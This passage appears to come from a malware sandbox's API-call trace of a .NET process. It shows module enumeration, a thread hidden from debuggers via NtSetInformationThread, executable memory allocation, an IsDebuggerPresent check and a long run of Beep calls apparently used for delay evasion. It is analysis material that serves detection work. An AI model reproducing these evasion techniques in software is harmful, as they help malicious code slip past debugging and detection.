hProcess=0x284, hModule=0x73610000, lpmodinfo=0x24c3714, cb=0xc | out: lpmodinfo=0x24c3714*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0234.418] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.418] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73610000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0234.419] CoTaskMemFree (pv=0x4fb3308) [0234.419] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.419] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73610000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0234.419] CoTaskMemFree (pv=0x4fb3308) [0234.419] GetModuleInformation (in: hProcess=0x284, hModule=0x72f40000, lpmodinfo=0x24c5820, cb=0xc | out: lpmodinfo=0x24c5820*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0234.419] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.420] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72f40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0234.420] CoTaskMemFree (pv=0x4fb3308) [0234.420] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.420] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72f40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0234.420] CoTaskMemFree (pv=0x4fb3308) [0234.420] GetModuleInformation (in: hProcess=0x284, hModule=0x75540000, lpmodinfo=0x24c7950, cb=0xc | out: lpmodinfo=0x24c7950*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0234.421] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.421] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0234.421] CoTaskMemFree (pv=0x4fb3308) [0234.421] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.421] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0234.422] CoTaskMemFree (pv=0x4fb3308) [0234.422] GetModuleInformation (in: hProcess=0x284, hModule=0x74310000, lpmodinfo=0x24c9a84, cb=0xc | out: lpmodinfo=0x24c9a84*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0234.422] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.422] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74310000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0234.423] CoTaskMemFree (pv=0x4fb3308) [0234.423] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.423] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74310000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0234.423] CoTaskMemFree (pv=0x4fb3308) [0234.423] GetModuleInformation (in: hProcess=0x284, hModule=0x77060000, lpmodinfo=0x24cbc2c, cb=0xc | out: lpmodinfo=0x24cbc2c*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0234.424] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.424] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77060000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0234.424] CoTaskMemFree (pv=0x4fb3308) [0234.424] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.424] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77060000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0234.425] CoTaskMemFree (pv=0x4fb3308) [0234.425] GetModuleInformation (in: hProcess=0x284, hModule=0x73e60000, lpmodinfo=0x24cdd30, cb=0xc | out: lpmodinfo=0x24cdd30*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0234.425] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.425] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73e60000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0234.426] CoTaskMemFree (pv=0x4fb3308) [0234.426] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.426] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73e60000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0234.426] CoTaskMemFree (pv=0x4fb3308) [0234.426] GetModuleInformation (in: hProcess=0x284, hModule=0x72590000, lpmodinfo=0x24cfe3c, cb=0xc | out: lpmodinfo=0x24cfe3c*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0234.427] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.427] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72590000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0234.427] CoTaskMemFree (pv=0x4fb3308) [0234.427] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.427] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72590000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0234.428] CoTaskMemFree (pv=0x4fb3308) [0234.428] GetModuleInformation (in: hProcess=0x284, hModule=0x71e70000, lpmodinfo=0x24d1fd8, cb=0xc | out: lpmodinfo=0x24d1fd8*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0234.428] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.428] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71e70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0234.429] CoTaskMemFree (pv=0x4fb3308) [0234.429] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.429] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71e70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0234.429] CoTaskMemFree (pv=0x4fb3308) [0234.429] GetModuleInformation (in: hProcess=0x284, hModule=0x73c90000, lpmodinfo=0x24d4194, cb=0xc | out: lpmodinfo=0x24d4194*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0234.430] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.430] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73c90000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0234.430] CoTaskMemFree (pv=0x4fb3308) [0234.430] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.430] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73c90000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0234.431] CoTaskMemFree (pv=0x4fb3308) [0234.431] GetModuleInformation (in: hProcess=0x284, hModule=0x73f00000, lpmodinfo=0x24d6388, cb=0xc | out: lpmodinfo=0x24d6388*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0234.432] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.432] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73f00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0234.432] CoTaskMemFree (pv=0x4fb3308) [0234.432] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.432] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73f00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0234.433] CoTaskMemFree (pv=0x4fb3308) [0234.433] GetModuleInformation (in: hProcess=0x284, hModule=0x76e30000, lpmodinfo=0x24d84c8, cb=0xc | out: lpmodinfo=0x24d84c8*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0234.433] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.433] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76e30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0234.434] CoTaskMemFree (pv=0x4fb3308) [0234.434] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.434] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76e30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0234.434] CoTaskMemFree (pv=0x4fb3308) [0234.434] GetModuleInformation (in: hProcess=0x284, hModule=0x73b00000, lpmodinfo=0x24da5dc, cb=0xc | out: lpmodinfo=0x24da5dc*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0234.435] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.435] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73b00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0234.435] CoTaskMemFree (pv=0x4fb3308) [0234.435] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.435] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73b00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0234.436] CoTaskMemFree (pv=0x4fb3308) [0234.436] GetModuleInformation (in: hProcess=0x284, hModule=0x71210000, lpmodinfo=0x24dc7a8, cb=0xc | out: lpmodinfo=0x24dc7a8*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0234.436] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.436] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71210000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0234.437] CoTaskMemFree (pv=0x4fb3308) [0234.437] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.437] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71210000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0234.438] CoTaskMemFree (pv=0x4fb3308) [0234.438] GetModuleInformation (in: hProcess=0x284, hModule=0x73ee0000, lpmodinfo=0x24de998, cb=0xc | out: lpmodinfo=0x24de998*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0234.438] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.438] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0234.439] CoTaskMemFree (pv=0x4fb3308) [0234.439] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.439] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0234.439] CoTaskMemFree (pv=0x4fb3308) [0234.439] GetModuleInformation (in: hProcess=0x284, hModule=0x73ac0000, lpmodinfo=0x24e0bb0, cb=0xc | out: lpmodinfo=0x24e0bb0*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0234.440] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.440] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ac0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0234.440] CoTaskMemFree (pv=0x4fb3308) [0234.440] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.441] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ac0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0234.441] CoTaskMemFree (pv=0x4fb3308) [0234.441] GetModuleInformation (in: hProcess=0x284, hModule=0x73a30000, lpmodinfo=0x24e2cbc, cb=0xc | out: lpmodinfo=0x24e2cbc*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0234.442] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.442] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0234.442] CoTaskMemFree (pv=0x4fb3308) [0234.442] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.442] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0234.443] CoTaskMemFree (pv=0x4fb3308) [0234.443] GetModuleInformation (in: hProcess=0x284, hModule=0x73a10000, lpmodinfo=0x24e4e84, cb=0xc | out: lpmodinfo=0x24e4e84*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0234.443] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.443] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0234.444] CoTaskMemFree (pv=0x4fb3308) [0234.444] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.444] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0234.445] CoTaskMemFree (pv=0x4fb3308) [0234.445] GetModuleInformation (in: hProcess=0x284, hModule=0x73940000, lpmodinfo=0x24e6fd4, cb=0xc | out: lpmodinfo=0x24e6fd4*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0234.445] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.445] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73940000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0234.446] CoTaskMemFree (pv=0x4fb3308) [0234.446] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.446] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73940000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0234.447] CoTaskMemFree (pv=0x4fb3308) [0234.447] GetModuleInformation (in: hProcess=0x284, hModule=0x71080000, lpmodinfo=0x24e91d0, cb=0xc | out: lpmodinfo=0x24e91d0*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0234.447] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.447] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71080000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0234.448] CoTaskMemFree (pv=0x4fb3308) [0234.448] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.448] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71080000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0234.449] CoTaskMemFree (pv=0x4fb3308) [0234.449] GetModuleInformation (in: hProcess=0x284, hModule=0x70ee0000, lpmodinfo=0x24eb380, cb=0xc | out: lpmodinfo=0x24eb380*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0234.449] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.449] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0234.450] CoTaskMemFree (pv=0x4fb3308) [0234.450] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.450] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0234.451] CoTaskMemFree (pv=0x4fb3308) [0234.451] GetModuleInformation (in: hProcess=0x284, hModule=0x735f0000, lpmodinfo=0x24ed548, cb=0xc | out: lpmodinfo=0x24ed548*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0234.451] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.451] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x735f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0234.452] CoTaskMemFree (pv=0x4fb3308) [0234.452] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.452] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x735f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0234.453] CoTaskMemFree (pv=0x4fb3308) [0234.453] GetModuleInformation (in: hProcess=0x284, hModule=0x75b40000, lpmodinfo=0x24ef654, cb=0xc | out: lpmodinfo=0x24ef654*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0234.453] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.453] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75b40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0234.454] CoTaskMemFree (pv=0x4fb3308) [0234.454] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.454] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75b40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0234.455] CoTaskMemFree (pv=0x4fb3308) [0234.455] GetModuleInformation (in: hProcess=0x284, hModule=0x70de0000, lpmodinfo=0x24f1760, cb=0xc | out: lpmodinfo=0x24f1760*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0234.456] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.456] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70de0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0234.456] CoTaskMemFree (pv=0x4fb3308) [0234.456] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.456] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70de0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0234.457] CoTaskMemFree (pv=0x4fb3308) [0234.457] GetModuleInformation (in: hProcess=0x284, hModule=0x77ae0000, lpmodinfo=0x24f3884, cb=0xc | out: lpmodinfo=0x24f3884*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0234.458] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.458] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0234.458] CoTaskMemFree (pv=0x4fb3308) [0234.458] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.459] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0234.459] CoTaskMemFree (pv=0x4fb3308) [0234.459] CloseHandle (hObject=0x284) returned 1 [0234.532] GetCurrentThreadId () returned 0x5fc [0234.532] OpenThread (dwDesiredAccess=0x20, bInheritHandle=0, dwThreadId=0x5fc) returned 0x284 [0234.537] NtSetInformationThread (ThreadHandle=0x284, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0234.587] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x636e248*=0x0, ZeroBits=0x0, RegionSize=0x636e240*=0x6, AllocationType=0x1000, Protect=0x40 | out: BaseAddress=0x636e248*=0x2130000, RegionSize=0x636e240*=0x1000) returned 0x0 [0234.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x636e248*=0x2130000, NumberOfBytesToProtect=0x636e244, NewAccessProtection=0x140, OldAccessProtection=0x636e23c | out: BaseAddress=0x636e248*=0x2130000, NumberOfBytesToProtect=0x636e244, OldAccessProtection=0x636e23c*=0x40) returned 0x0 [0238.992] IsDebuggerPresent () returned 0 [0239.280] GetProcessMemoryInfo (Process=0xffffffff, ppsmemCounters=0x636e224, cb=0x28) returned 1 [0239.373] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.377] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.392] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.408] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.424] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.439] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.455] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.470] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.486] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.501] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.517] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.533] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.548] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.564] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.565] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.566] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.581] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.597] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.613] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.613] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.615] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.630] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.646] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.662] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.662] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.663] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.679] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.695] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.711] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.713] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.728] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.743] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.759] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.760] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.761] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.762] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.763] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.764] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.765] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.766] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.767] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.768] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.769] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.785] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.800] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.816] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.831] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.832] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.833] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.849] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.870] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.881] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.883] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.898] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.914] 